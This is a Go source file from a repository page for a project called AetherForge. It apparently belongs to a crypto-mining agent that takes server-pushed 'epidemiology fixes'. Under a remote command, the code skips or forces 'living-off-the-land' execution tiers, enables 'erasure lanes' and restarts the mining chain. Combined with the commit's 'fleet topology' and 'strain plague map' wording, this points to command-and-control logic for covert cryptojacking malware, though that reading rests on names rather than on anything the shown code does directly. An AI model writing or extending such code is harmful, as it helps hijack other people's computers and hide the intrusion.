Files
AetherForge/agent/client/epidemiology_fix.go
AetherForge 0935756e5f
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fleet topology epidemiology: strain plague map, interrupt fixes, tests.
2026-06-07 09:20:30 -07:00

60 lines
1.4 KiB
Go

package client
import (
"context"
"encoding/json"
"log"
"crypto-miner-agent/miner"
)
// EpidemiologyFix is a server-pushed surgical correction after a broken mining branch.
type EpidemiologyFix struct {
AgentID string `json:"agent_id"`
Reason string `json:"reason"`
SkipTiers []string `json:"skip_tiers,omitempty"`
ForceTier string `json:"force_tier,omitempty"`
RestartChain bool `json:"restart_chain,omitempty"`
ErasureLanes bool `json:"erasure_lanes,omitempty"`
}
func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var fix EpidemiologyFix
if err := json.Unmarshal(raw, &fix); err != nil {
return
}
c.mu.Lock()
policy := c.tierPolicy
if len(fix.SkipTiers) > 0 {
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
for _, t := range policy.SkipTiers {
have[t] = true
}
for _, s := range fix.SkipTiers {
tier := miner.LOTLTier(s)
if tier == "" || have[tier] {
continue
}
have[tier] = true
policy.SkipTiers = append(policy.SkipTiers, tier)
}
}
if fix.ForceTier != "" {
policy.ForceTier = miner.LOTLTier(fix.ForceTier)
}
c.tierPolicy = policy
if fix.ErasureLanes {
c.cfg.ErasureLanesEnabled = true
}
restart := fix.RestartChain
c.mu.Unlock()
log.Printf("[agent] epidemiology fix applied: %s", fix.Reason)
if restart && c.miningChain != nil {
c.miningChain.Restart(context.Background())
}
}